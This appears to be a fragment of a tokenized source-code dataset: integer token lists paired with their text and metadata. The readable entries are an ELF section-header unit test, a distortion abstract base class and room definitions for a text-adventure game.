29889, 303, 20405, 29897, 13, 4706, 27599, 29918, 1689, 18785, 29918, 15060, 29898, 15060, 29897, 13, 13, 13, 2158, 14182, 29890, 29905, 29876, 21067, 12339, 292, 15717, 856, 613, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 9675, 29889, 303, 20405, 29889, 23126, 580, 13, 13, 497, 13155, 353, 1051, 29898, 546, 29918, 2972, 29918, 18434, 29889, 8149, 3101, 13, 497, 13155, 29889, 6605, 29898, 1989, 29922, 2892, 921, 29901, 29916, 29889, 13609, 3101, 13, 13, 2158, 14182, 29890, 29905, 29876, 20606, 292, 937, 29899, 2230, 17737, 29560, 856, 613, 1095, 2433, 742, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 13, 1062, 29918, 21570, 29560, 353, 5375, 29918, 5150, 943, 448, 2181, 2585, 29918, 17976, 13, 4102, 2230, 29918, 21570, 29560, 353, 5159, 13, 1454, 263, 297, 5375, 29918, 5150, 943, 29901, 13, 1678, 396, 10987, 599, 14430, 2129, 2998, 363, 445, 2022, 13, 1678, 14430, 2129, 353, 518, 29874, 29962, 13, 1678, 363, 13995, 29892, 1024, 297, 4148, 29918, 2606, 2129, 29889, 7076, 7295, 13, 4706, 565, 1024, 1275, 263, 29901, 13, 9651, 14430, 2129, 29889, 4397, 29898, 19973, 29897, 13, 1678, 396, 24930, 278, 4955, 363, 1432, 13995, 13, 1678, 9825, 353, 289, 4907, 13, 1678, 363, 394, 297, 14430, 2129, 29901, 13, 4706, 10917, 580, 13, 4706, 274, 353, 1014, 5014, 29889, 3389, 29898, 3366, 5559, 613, 376, 1188, 613, 376, 489, 8921, 16328, 29879, 29908, 1273, 394, 29892, 3987, 29889, 3166, 29918, 15060, 29892, 17411, 29876, 742, 525, 29896, 7464, 27591, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 1423, 29922, 5574, 29897, 13, 4706, 9825, 4619, 274, 29889, 25393, 13, 1678, 565, 7431, 29898, 29882, 391, 29897, 1275, 29871, 29900, 29901, 13, 4706, 396, 1939, 9063, 515, 393, 4148, 9642, 1135, 278, 937, 9063, 13, 4706, 396, 4629, 29892, 577, 393, 29915, 29879, 263, 937, 29899, 2230, 4148, 29889, 13, 4706, 937, 2230, 29918, 21570, 29560, 29889, 4397, 29898, 29874, 29897, 13, 13, 2158, 14182, 29890, 29905, 29876, 613, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 9675, 29889, 303, 20405, 29889, 23126, 580, 13, 13, 2277, 29937, 4360, 9233, 310, 2582, 835, 13, 13, 2277, 13905, 278, 6507, 11486, 29889, 13, 13, 29937, 7370, 411, 2998, 13926, 29889, 13, 13, 3784, 29918, 3259, 353, 1014, 5014, 29889, 3198, 29918, 4905, 29898, 3366, 5559, 613, 376, 2783, 29581, 613, 376, 489, 11338, 613, 376, 489, 4352, 29922, 29894, 29961, 29900, 29899, 29929, 14178, 613, 3987, 29889, 29305, 29918, 15060, 1402, 15968, 29918, 1482, 9012, 29922, 5574, 467, 17010, 580, 13, 24957, 29918, 3259, 353, 1014, 5014, 29889, 3198, 29918, 4905, 29898, 3366, 5559, 613, 376, 2783, 29581, 613, 376, 489, 11338, 613, 376, 489, 4352, 29922, 29894, 29961, 29900, 29899, 29929, 14178, 613, 3987, 29889, 3166, 29918, 15060, 1402, 15968, 29918, 1482, 9012, 29922, 5574, 467, 17010, 580, 13, 13, 361, 451, 9563, 6672, 29901, 13, 1678, 1596, 703, 5634, 1159, 13, 1678, 1596, 703, 3257, 29901, 1724, 9137, 29941, 29929, 29936, 29879, 1570, 297, 613, 1857, 29918, 3259, 29897, 13, 1678, 1596, 703, 517, 29883, 29901, 1565, 1159, 13, 1678, 1596, 703, 7727, 29901, 3462, 2187, 322, 3620, 297, 315, 1698, 307, 496, 4051, 1873, 613, 1857, 29918, 3259, 29892, 376, 16076, 1873, 613, 3517, 29918, 3259, 29897, 13, 1678, 1596, 703, 5634, 1159, 13, 1678, 1596, 580, 13, 1678, 1596, 703, 2277, 376, 718, 931, 29889, 710, 615, 603, 11702, 29933, 1273, 29881, 29892, 1273, 29979, 5783, 13, 1678, 1596, 580, 13, 13, 2277, 13905, 278, 6507, 11486, 1804, 29899, 786, 322, 9943, 18132, 4004, 29889, 13, 361, 451, 298, 2618, 776, 18132, 29901, 13, 1678, 1596, 703, 15945, 2577, 5434, 6507, 11486, 321, 655, 2356, 304, 366, 29901, 13, 13, 29966, 4563, 770, 543, 29882, 431, 17500, 29899, 6252, 29899, 689, 2601, 29899, 689, 29899, 29896, 2821, 5878, 1013, 13, 1678, 529, 2154, 29958, 13, 4706, 298, 5824, 415, 29889, 9514, 29889, 3258, 3319, 13, 9651, 5997, 29901, 15516, 13, 9651, 5997, 2385, 29901, 525, 6252, 29899, 689, 742, 13, 9651, 25792, 1204, 29901, 525, 29896, 29955, 29945, 29941, 29941, 29929, 29941, 742, 13, 9651, 883, 1204, 29901, 525, 29941, 29929, 29953, 29947, 29953, 29906, 29929, 29955, 29899, 29947, 29896, 29881, 29906, 29899, 29946, 29945, 29872, 29955, 29899, 29874, 29955, 29941, 29888, 29899, 29945, 29945, 29874, 29945, 29929, 29953, 29874, 29947, 29881, 29945, 600, 742, 13, 9651, 883, 4998, 1204, 29901, 29871, 29896, 29892, 13, 9651, 3646, 29901, 15300, 6252, 29899, 689, 29899, 29896, 29915, 13, 4706, 2604, 13, 1678, 1533, 2154, 29958, 13, 829, 4563, 11903, 29908, 1159, 13, 1678, 1596, 580, 13, 13, 1678, 1596, 703, 15945, 2277, 29937, 9943, 18132, 13, 13, 29966, 4563, 1178, 543, 359, 29899, 21175, 29908, 770, 543, 8551, 5878, 1013, 13, 1678, 529, 29874, 2822, 543, 991, 597, 2109, 4314, 29889, 24956, 307, 496, 2585, 29889, 510, 29914, 24956, 307, 496, 29899, 15945, 29908, 718, 1857, 29918, 3259, 718, 5124, 1642, 16702, 5080, 29899, 29896, 29900, 29889, 29929, 29899, 22490, 29953, 29946, 29889, 29873, 18828, 3254, 3092, 1178, 543, 8628, 29908, 848, 29899, 3696, 7320, 543, 8628, 29899, 19541, 29899, 14096, 29899, 16953, 1013, 15735, 829, 3092, 2565, 29874, 29958, 13, 1678, 529, 29874, 2822, 543, 991, 597, 2109, 4314, 29889, 24956, 307, 496, 2585, 29889, 510, 29914, 24956, 307, 496, 29899, 15945, 29908, 718, 1857, 29918, 3259, 718, 5124, 1642, 9389, 29899, 22490, 29953, 29946, 29889, 29873, 18828, 3254, 3092, 1178, 543, 9389, 29908, 848, 29899, 3696, 7320, 543, 9389, 29899, 19541, 29899, 14096, 29899, 16953, 1013, 24085, 829, 3092, 2565, 29874, 29958, 13, 1678, 529, 29874, 2822, 543, 991, 597, 2109, 4314, 29889, 24956, 307, 496, 2585, 29889, 510, 29914, 24956, 307, 496, 29899, 15945, 29908, 718, 1857, 29918, 3259, 718, 5124, 1642, 10499, 29899, 29953, 29889, 29906, 29899, 22490, 29953, 29946, 29889, 7554, 3254, 3092, 1178, 543, 10499, 29908, 848, 29899, 3696, 7320, 543, 10499, 29899, 19541, 29899, 14096, 29899, 16953, 1013, 7685, 829, 3092, 2565, 29874, 29958, 13, 1678, 529, 29874, 2822, 543, 991, 597, 2109, 4314, 29889, 24956, 307, 496, 2585, 29889, 510, 29914, 24956, 307, 496, 29899, 15945, 29908, 718, 1857, 29918, 3259, 718, 5124, 1642, 4351, 29889, 29873, 18828, 3254, 3092, 1178, 543, 4993, 29908, 848, 29899, 3696, 7320, 543, 4993, 29899, 14096, 29899, 16953, 1013, 4435, 829, 3092, 2565, 29874, 29958, 13, 829, 4563, 29958, 13, 15945, 1159, 13, 13, 1678, 1596, 703, 15945, 2277, 29937, 20868, 1967, 13, 13, 18255, 3160, 3509, 29899, 24049, 3377, 29889, 1420, 15493, 13, 7377, 30022, 15903, 13, 29938, 10346, 8206, 1302, 384, 307, 496, 2585, 29914, 24956, 307, 496, 6160, 15945, 718, 1857, 29918, 3259, 718, 9995, 13, 7377, 30022, 13, 15945, 1159, 13, 1678, 1596, 580, 13, 13, 344, 575, 5349, 353, 731, 580, 13, 28026, 558, 29879, 353, 731, 580, 13, 1753, 4050, 4965, 29898, 667, 1125, 13, 1678, 3240, 353, 525, 29961, 29995, 29898, 558, 29897, 29879, 3816, 29995, 29898, 558, 29897, 29879, 29962, 29915, 1273, 2944, 13, 1678, 3595, 558, 29879, 29889, 1202, 29898, 667, 1839, 558, 11287, 13, 1678, 565, 451, 298, 2247, 5349, 29901, 13, 4706, 3240, 4619, 525, 518, 29995, 29898, 17051, 29897, 29879, 3816, 29995, 29898, 17051, 29897, 29879, 29962, 29915, 1273, 2944, 13, 4706, 409, 575, 5349, 29889, 1202, 29898, 667, 1839, 17051, 11287, 13, 1678, 736, 3240, 13, 13, 1454, 5226, 297, 1104, 6812, 29918, 3471, 29918, 2098, 29901, 13, 1678, 364, 353, 6507, 29918, 16953, 29889, 657, 29898, 3471, 29892, 6213, 29897, 13, 1678, 565, 364, 338, 6213, 29901, 13, 4706, 396, 1939, 1735, 297, 445, 4004, 29892, 3078, 304, 1596, 29889, 13, 4706, 6773, 13, 1678, 21149, 1740, 353, 1104, 1333, 300, 277, 793, 29961, 3471, 29962, 13, 1678, 1596, 703, 2277, 29937, 613, 21149, 1740, 29897, 13, 1678, 1596, 580, 13, 13, 1678, 363, 2944, 297, 18764, 287, 29898, 29878, 1125, 13, 4706, 1596, 703, 29899, 613, 2944, 1839, 6812, 13359, 6506, 28909, 29876, 742, 11297, 29876, 29871, 525, 511, 4050, 4965, 29898, 667, 876, 13, 13, 1678, 1596, 580, 13, 13, 1062, 29878, 559, 29883, 353, 731, 580, 13, 1454, 5226, 297, 6507, 29918, 16953, 29901, 13, 1678, 565, 5226, 297, 1104, 6812, 29918, 3471, 29918, 2098, 29901, 13, 4706, 396, 2307, 16459, 2038, 29892, 1016, 29915, 29873, 437, 3099, 29889, 13, 4706, 6773, 13, 1678, 17541, 559, 29883, 29889, 1202, 29898, 3471, 29897, 13, 361, 7431, 29898, 1062, 29878, 559, 29883, 29897, 1405, 29871, 29900, 470, 7431, 29898, 27259, 29918, 14096, 29918, 16953, 29897, 1405, 29871, 29900, 29901, 13, 1678, 1596, 703, 2277, 29937, 20929, 3729, 23584, 1159, 13, 1678, 1596, 580, 13, 361, 7431, 29898, 1062, 29878, 559, 29883, 29897, 1405, 29871, 29900, 29901, 13, 1678, 17541, 559, 29883, 29918, 24582, 353, 12705, 29898, 1761, 29898, 1062, 29878, 559, 29883, 876, 13, 1678, 363, 17541, 559, 29883, 297, 17541, 559, 29883, 29918, 24582, 29901, 13, 4706, 1596, 703, 4136, 1273, 29879, 29908, 1273, 17541, 559, 29883, 29889, 5030, 2410, 675, 3101, 13, 4706, 1596, 580, 13, 4706, 363, 2944, 297, 6507, 29918, 16953, 29961, 1062, 29878, 559, 29883, 5387, 13, 9651, 1596, 703, 29899, 613, 2944, 1839, 6812, 13359, 6506, 28909, 29876, 742, 11297, 29876, 29871, 525, 511, 4050, 4965, 29898, 667, 876, 13, 4706, 1596, 580, 13, 13, 361, 7431, 29898, 27259, 29918, 14096, 29918, 16953, 29897, 1405, 29871, 29900, 29901, 13, 1678, 1596, 703, 4136, 678, 6916, 1728, 6507, 4443, 17195, 1159, 13, 1678, 1596, 580, 13, 1678, 363, 2944, 297, 4567, 29918, 14096, 29918, 16953, 29901, 13, 4706, 15717, 353, 2944, 1839, 5150, 943, 2033, 13, 4706, 1596, 703, 29899, 518, 29995, 29898, 558, 29897, 29879, 3816, 29995, 29898, 558, 29897, 29879, 29962, 518, 29995, 29898, 17051, 29897, 29879, 3816, 29995, 29898, 17051, 29897, 29879, 29962, 1273, 29898, 3257, 29897, 29879, 29908, 1273, 2944, 29892, 18227, 29995, 29879, 5513, 1273, 15717, 29897, 13, 4706, 409, 575, 5349, 29889, 1202, 29898, 667, 1839, 17051, 11287, 13, 4706, 3595, 558, 29879, 29889, 1202, 29898, 667, 1839, 558, 11287, 13, 1678, 1596, 580, 13, 13, 2277, 13905, 278, 28197, 5020, 15190, 4004, 29889, 13, 2158, 703, 2277, 29937, 28197, 11217, 1159, 13, 2158, 580, 13, 2158, 703, 29928, 12332, 3815, 29901, 3529, 788, 1438, 7522, 23157, 13, 2158, 580, 13, 13, 2277, 13905, 278, 2866, 1091, 29560, 4004, 29889, 13, 2158, 703, 2277, 29937, 2866, 1091, 29560, 1159, 13, 2158, 580, 13, 2158, 703, 4013, 6507, 7805, 1273, 29881, 19412, 12089, 29995, 29879, 491, 1273, 29879, 4148, 29995, 29879, 1213, 1273, 13, 418, 313, 2435, 29898, 497, 558, 29879, 511, 7431, 29898, 497, 558, 29879, 29897, 2804, 29871, 29896, 322, 376, 29879, 29908, 470, 12633, 13, 539, 7431, 29898, 513, 23352, 29918, 5150, 943, 511, 313, 2435, 29898, 513, 23352, 29918, 5150, 943, 29897, 2804, 29871, 29896, 322, 376, 29879, 29908, 470, 376, 4968, 13, 539, 876, 13, 13, 1062, 29918, 21570, 29560, 353, 5375, 29918, 5150, 943, 448, 2181, 2585, 29918, 17976, 13, 13, 1333, 2164, 29918, 5150, 943, 353, 12705, 29898, 842, 29898, 1062, 29918, 21570, 29560, 29897, 891, 731, 29898, 4102, 2230, 29918, 21570, 29560, 876, 13, 361, 7431, 29898, 1333, 2164, 29918, 5150, 943, 29897, 1405, 29871, 29900, 29901, 13, 4706, 1596, 703, 4806, 723, 763, 304, 6452, 278, 1494, 17737, 29560, 515, 278, 315, 1698, 307, 496, 4051, 7881, 29901, 1159, 13, 4706, 1596, 580, 13, 4706, 363, 2022, 297, 451, 2164, 29918, 5150, 943, 29901, 13, 9651, 1596, 703, 29899, 613, 2022, 29892, 1095, 2433, 1495, 13, 9651, 565, 2022, 297, 937, 2230, 29918, 21570, 29560, 29901, 13, 18884, 9732, 353, 5124, 13, 18884, 565, 2022, 297, 2181, 2585, 29918, 17976, 29901, 13, 462, 1678, 9732, 353, 9162, 315, 1698, 307, 496, 4051, 3815, 4509, 29908, 13, 18884, 1596, 703, 313, 4102, 29899, 2230, 17737, 3406, 29995, 29879, 5513, 1273, 9732, 29892, 1095, 2433, 1495, 13, 9651, 1596, 580, 13, 2158, 580, 13, 13, 2277, 13905, 278, 639, 29899, 8921, 11896, 1051, 29889, 13, 361, 451, 9563, 546, 21570, 3406, 29901, 13, 1678, 1596, 703, 2277, 29937, 12089, 29879, 19412, 491, 17737, 29560, 1159, 13, 1678, 1596, 580, 13, 1678, 565, 451, 298, 2247, 5349, 29901, 13, 4706, 19200, 353, 376, 29871, 448, 1273, 29898, 1256, 29897, 29879, 518, 29995, 29898, 558, 6817, 29953, 29879, 3816, 29995, 29898, 558, 6817, 29953, 29879, 29962, 518, 29995, 29898, 17051, 29897, 29879, 3816, 29995, 29898, 17051, 29897, 29879, 29962, 20532, 29995, 29898, 7851, 1080, 29897, 29946, 29881, 448, 29995, 29898, 311, 1026, 1080, 29897, 29946, 29881, 3695, 29995, 29898, 9012, 29897, 29946, 29881, 22584, 29898, 5325, 29897, 29906, 29881, 29897, 1273, 29898, 3257, 29897, 29879, 29908, 13, 1678, 1683, 29901, 13, 4706, 19200, 353, 376, 29871, 448, 1273, 29898, 1256, 29897, 29879, 518, 29995, 29898, 558, 6817, 29953, 29879, 3816, 29995, 29898, 558, 6817, 29953, 29879, 29962, 20532, 29995, 29898, 7851, 1080, 29897, 29946, 29881, 448, 29995, 29898, 311, 1026, 1080, 29897, 29946, 29881, 3695, 29995, 29898, 9012, 29897, 29946, 29881, 22584, 29898, 5325, 29897, 29906, 29881, 29897, 1273, 29898, 3257, 29897, 29879, 29908, 13, 13, 1678, 363, 2318, 297, 599, 13155, 29901, 13, 4706, 4452, 353, 639, 29918, 2972, 29918, 18434, 29961, 2972, 29962, 13, 4706, 1596, 703, 29899, 1273, 29879, 6160, 1273, 2318, 29897, 13, 4706, 4452, 29889, 6605, 29898, 1989, 29922, 2892, 921, 29901, 29916, 29961, 6605, 1989, 1402, 24244, 29922, 1333, 337, 4270, 441, 29897, 13, 4706, 363, 2944, 297, 4452, 29901, 13, 9651, 1596, 29898, 23479, 1273, 2944, 29892, 1095, 2433, 1495, 13, 9651, 565, 451, 298, 2247, 5349, 29901, 13, 18884, 409, 575, 5349, 29889, 1202, 29898, 667, 1839, 17051, 11287, 13, 9651, 3595, 558, 29879, 29889, 1202, 29898, 667, 1839, 558, 11287, 13, 13, 9651, 302, 2055, 1169, 353, 2944, 1839, 29876, 2055, 1169, 2033, 13, 9651, 565, 302, 2055, 1169, 1405, 29871, 29896, 29901, 13, 18884, 1596, 703, 313, 613, 1095, 2433, 1495, 13, 18884, 1596, 11702, 29881, 25741, 29908, 1273, 302, 2055, 1169, 29892, 1095, 2433, 1495, 13, 18884, 1596, 703, 19123, 1095, 2433, 1495, 13, 9651, 1596, 580, 13, 4706, 1596, 580, 13, 1678, 1596, 580, 13, 13, 29937, 6645, 278, 12089, 29879, 322, 24972, 2887, 13, 1454, 544, 297, 12705, 29898, 28026, 558, 29879, 1125, 13, 1678, 1596, 703, 29961, 29995, 29879, 5387, 2045, 597, 3292, 29889, 510, 29914, 24956, 307, 496, 2585, 29914, 24956, 307, 496, 29914, 26746, 22584, 29879, 29908, 1273, 313, 558, 29892, 544, 29961, 29896, 29901, 12622, 13, 1454, 528, 29874, 297, 12705, 29898, 344, 575, 5349, 1125, 13, 1678, 1596, 703, 29961, 29995, 29879, 5387, 2045, 597, 3292, 29889, 510, 29914, 24956, 307, 496, 2585, 29914, 24956, 307, 496, 29914, 15060, 22584, 29879, 29908, 1273, 313, 17051, 29892, 528, 29874, 876, 13, 2158, 580, 13, 2 ]
tests/elf/test_section_header.py
drazisil/dasm-python
1
147010
<filename>tests/elf/test_section_header.py from dasm.elf.section_header import parse_section_header, get_sh_type def test_parse_section_header(): bytes = (b'\x01\x02\x03\x04\x05\x02\x07\x03' + b'\x09\x0A\x0B\x0c\x0d\x0e\x0f' + b'\x10\x11\x12\x03\x00\x15\x15' + b'\x15\x15\x15\x15\x15\x15\x15' + b'\x15\x15\x15\x15\x15\x15\x15' + b'\x15\x15\x15\x15\x15\x15\x15' + b'\x15\x15\x15\x15\x15\x15\x15' + b'\x15\x15\x15\x15\x15\x15\x15' + b'\x15\x15\x15\x15\x15\x15\x15') parse_section_header(bytes, 64) try: parse_section_header(bytes, 32) assert False except NotImplementedError: assert True try: parse_section_header(bytes, 128) assert False except ValueError: assert True def test_get_sh_type(): assert get_sh_type(0) == 'SHT_NULL' assert get_sh_type(1) == 'SHT_PROGBITS' assert get_sh_type(2) == 'SHT_SYMTAB' assert get_sh_type(3) == 'SHT_STRTAB' assert get_sh_type(4) == 'SHT_RELA' assert get_sh_type(5) == 'SHT_HASH' assert get_sh_type(6) == 'SHT_DYNAMIC' assert get_sh_type(7) == 'SHT_NOTE' assert get_sh_type(8) == 'SHT_NOBITS' assert get_sh_type(9) == 'SHT_REL' assert get_sh_type(10) == 'SHT_SHLIB' assert get_sh_type(11) == 'SHT_DYNSYM' assert get_sh_type(14) == 'SHT_INIT_ARRAY' assert get_sh_type(15) == 'SHT_FINI_ARRAY' assert get_sh_type(16) == 'SHT_PREINIT_ARRAY' assert get_sh_type(17) == 'SHT_GROUP' assert get_sh_type(18) == 'SHT_SYMTAB_SHNDX' assert get_sh_type(19) == 'SHT_NUM' assert get_sh_type(1610612736) == 'SHT_LOOS' try: get_sh_type(12) assert False except ValueError: assert True
[ 1, 529, 9507, 29958, 21150, 29914, 761, 29914, 1688, 29918, 2042, 29918, 6672, 29889, 2272, 13, 3166, 1697, 29885, 29889, 761, 29889, 2042, 29918, 6672, 1053, 6088, 29918, 2042, 29918, 6672, 29892, 679, 29918, 845, 29918, 1853, 13, 13, 13, 1753, 1243, 29918, 5510, 29918, 2042, 29918, 6672, 7295, 13, 1678, 6262, 353, 313, 29890, 12764, 29916, 29900, 29896, 29905, 29916, 29900, 29906, 29905, 29916, 29900, 29941, 29905, 29916, 29900, 29946, 29905, 29916, 29900, 29945, 29905, 29916, 29900, 29906, 29905, 29916, 29900, 29955, 29905, 29916, 29900, 29941, 29915, 13, 632, 718, 289, 12764, 29916, 29900, 29929, 29905, 29916, 29900, 29909, 29905, 29916, 29900, 29933, 29905, 29916, 29900, 29883, 29905, 29916, 29900, 29881, 29905, 29916, 29900, 29872, 29905, 29916, 29900, 29888, 29915, 13, 632, 718, 289, 12764, 29916, 29896, 29900, 29905, 29916, 29896, 29896, 29905, 29916, 29896, 29906, 29905, 29916, 29900, 29941, 29905, 29916, 29900, 29900, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29915, 13, 632, 718, 289, 12764, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29915, 13, 632, 718, 289, 12764, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29915, 13, 632, 718, 289, 12764, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29915, 13, 632, 718, 289, 12764, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29915, 13, 632, 718, 289, 12764, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29915, 13, 632, 718, 289, 12764, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 29905, 29916, 29896, 29945, 1495, 13, 1678, 6088, 29918, 2042, 29918, 6672, 29898, 13193, 29892, 29871, 29953, 29946, 29897, 13, 1678, 1018, 29901, 13, 4706, 6088, 29918, 2042, 29918, 6672, 29898, 13193, 29892, 29871, 29941, 29906, 29897, 13, 4706, 4974, 7700, 13, 1678, 5174, 2216, 1888, 2037, 287, 2392, 29901, 13, 4706, 4974, 5852, 13, 1678, 1018, 29901, 13, 4706, 6088, 29918, 2042, 29918, 6672, 29898, 13193, 29892, 29871, 29896, 29906, 29947, 29897, 13, 4706, 4974, 7700, 13, 1678, 5174, 7865, 2392, 29901, 13, 4706, 4974, 5852, 13, 13, 13, 1753, 1243, 29918, 657, 29918, 845, 29918, 1853, 7295, 13, 1678, 4974, 679, 29918, 845, 29918, 1853, 29898, 29900, 29897, 1275, 525, 29903, 3912, 29918, 10074, 29915, 13, 1678, 4974, 679, 29918, 845, 29918, 1853, 29898, 29896, 29897, 1275, 525, 29903, 3912, 29918, 8618, 7210, 1806, 29903, 29915, 13, 1678, 4974, 679, 29918, 845, 29918, 1853, 29898, 29906, 29897, 1275, 525, 29903, 3912, 29918, 14816, 11490, 2882, 29915, 13, 1678, 4974, 679, 29918, 845, 29918, 1853, 29898, 29941, 29897, 1275, 525, 29903, 3912, 29918, 10810, 29911, 2882, 29915, 13, 1678, 4974, 679, 29918, 845, 29918, 1853, 29898, 29946, 29897, 1275, 525, 29903, 3912, 29918, 1525, 4375, 29915, 13, 1678, 4974, 679, 29918, 845, 29918, 1853, 29898, 29945, 29897, 1275, 525, 29903, 3912, 29918, 29950, 24943, 29915, 13, 1678, 4974, 679, 29918, 845, 29918, 1853, 29898, 29953, 29897, 1275, 525, 29903, 3912, 29918, 29928, 29979, 3521, 29924, 2965, 29915, 13, 1678, 4974, 679, 29918, 845, 29918, 1853, 29898, 29955, 29897, 1275, 525, 29903, 3912, 29918, 12256, 29923, 29915, 13, 1678, 4974, 679, 29918, 845, 29918, 1853, 29898, 29947, 29897, 1275, 525, 29903, 3912, 29918, 6632, 22698, 29903, 29915, 13, 1678, 4974, 679, 29918, 845, 29918, 1853, 29898, 29929, 29897, 1275, 525, 29903, 3912, 29918, 1525, 29931, 29915, 13, 1678, 4974, 679, 29918, 845, 29918, 1853, 29898, 29896, 29900, 29897, 1275, 525, 29903, 3912, 29918, 7068, 5265, 29933, 29915, 13, 1678, 4974, 679, 29918, 845, 29918, 1853, 29898, 29896, 29896, 29897, 1275, 525, 29903, 3912, 29918, 29928, 29979, 3059, 29979, 29924, 29915, 13, 1678, 4974, 679, 29918, 845, 29918, 1853, 29898, 29896, 29946, 29897, 1275, 525, 29903, 3912, 29918, 26019, 29918, 1718, 22800, 29915, 13, 1678, 4974, 679, 29918, 845, 29918, 1853, 29898, 29896, 29945, 29897, 1275, 525, 29903, 3912, 29918, 29943, 1177, 29902, 29918, 1718, 22800, 29915, 13, 1678, 4974, 679, 29918, 845, 29918, 1853, 29898, 29896, 29953, 29897, 1275, 525, 29903, 3912, 29918, 15094, 26019, 29918, 1718, 22800, 29915, 13, 1678, 4974, 679, 29918, 845, 29918, 1853, 29898, 29896, 29955, 29897, 1275, 525, 29903, 3912, 29918, 26284, 29915, 13, 1678, 4974, 679, 29918, 845, 29918, 1853, 29898, 29896, 29947, 29897, 1275, 525, 29903, 3912, 29918, 14816, 11490, 2882, 29918, 7068, 2797, 29990, 29915, 13, 1678, 4974, 679, 29918, 845, 29918, 1853, 29898, 29896, 29929, 29897, 1275, 525, 29903, 3912, 29918, 13967, 29915, 13, 1678, 4974, 679, 29918, 845, 29918, 1853, 29898, 29896, 29953, 29896, 29900, 29953, 29896, 29906, 29955, 29941, 29953, 29897, 1275, 525, 29903, 3912, 29918, 3927, 3267, 29915, 13, 1678, 1018, 29901, 13, 4706, 679, 29918, 845, 29918, 1853, 29898, 29896, 29906, 29897, 13, 4706, 4974, 7700, 13, 1678, 5174, 7865, 2392, 29901, 13, 4706, 4974, 5852, 13, 2 ]
hexrd/distortion/distortionabc.py
glemaitre/hexrd
27
6469
import abc class DistortionABC(metaclass=abc.ABCMeta): maptype = None @abc.abstractmethod def apply(self, xy_in): """Apply distortion mapping""" pass @abc.abstractmethod def apply_inverse(self, xy_in): """Apply inverse distortion mapping""" pass
[ 1, 1053, 25638, 13, 13, 13, 1990, 6652, 441, 291, 19658, 29898, 2527, 562, 605, 29922, 10736, 29889, 19658, 19346, 1125, 13, 13, 1678, 611, 415, 668, 353, 6213, 13, 13, 1678, 732, 10736, 29889, 16595, 5696, 13, 1678, 822, 3394, 29898, 1311, 29892, 921, 29891, 29918, 262, 1125, 13, 4706, 9995, 2052, 368, 1320, 441, 291, 10417, 15945, 29908, 13, 4706, 1209, 13, 13, 1678, 732, 10736, 29889, 16595, 5696, 13, 1678, 822, 3394, 29918, 262, 3901, 29898, 1311, 29892, 921, 29891, 29918, 262, 1125, 13, 4706, 9995, 2052, 368, 16402, 1320, 441, 291, 10417, 15945, 29908, 13, 4706, 1209, 13, 2 ]
util/rooms/roads.py
Polygon-MUD/mud_build
0
50145
<reponame>Polygon-MUD/mud_build from django.contrib.auth.models import User from adventure.models import Player, Room p_dirt_path = Room(title="Dirt Path", description="Easy going path to a variety of adventures") p_mushroom_road = Room(title="Mushroom Road", description="The road to meet Mario") p_desert_path = Room(title="Desert Path", description="Prepare yourself to see the wonders of Shurima") p_marvel_road = Room(title="Marvel Road", description="The path to lead to your superhuman dreams") p_imagination_road = Room(title="Randomizer Road", description="A road that twists and turns beyond the will of fate")
[ 1, 529, 276, 1112, 420, 29958, 7713, 17125, 29899, 29924, 15789, 29914, 29885, 566, 29918, 4282, 13, 3166, 9557, 29889, 21570, 29889, 5150, 29889, 9794, 1053, 4911, 13, 3166, 17623, 545, 29889, 9794, 1053, 14574, 29892, 25114, 13, 13, 13, 29886, 29918, 29881, 2728, 29918, 2084, 353, 25114, 29898, 3257, 543, 29928, 2728, 10802, 613, 6139, 543, 29923, 8995, 2675, 2224, 304, 263, 12875, 310, 17623, 1973, 1159, 13, 13, 29886, 29918, 29885, 1878, 8345, 29918, 9972, 353, 25114, 29898, 3257, 543, 29924, 1878, 8345, 9321, 613, 6139, 543, 1576, 6520, 304, 5870, 16262, 1159, 13, 13, 29886, 29918, 2783, 814, 29918, 2084, 353, 25114, 29898, 3257, 543, 4002, 814, 10802, 613, 6139, 543, 29925, 3445, 598, 7535, 304, 1074, 278, 281, 18452, 310, 1383, 332, 2946, 1159, 13, 13, 29886, 29918, 3034, 955, 29918, 9972, 353, 25114, 29898, 3257, 543, 7083, 955, 9321, 613, 6139, 543, 1576, 2224, 304, 3275, 304, 596, 2428, 26029, 12561, 29879, 1159, 13, 13, 29886, 29918, 326, 351, 3381, 29918, 9972, 353, 25114, 29898, 3257, 543, 17875, 3950, 9321, 613, 6139, 543, 29909, 6520, 393, 3252, 2879, 322, 12169, 8724, 278, 674, 310, 23779, 1159, 13, 2 ]
PiCN/Layers/ChunkLayer/Chunkifyer/test/test_SimpleContentChunkifyer.py
NikolaiRutz/PiCN
0
53185
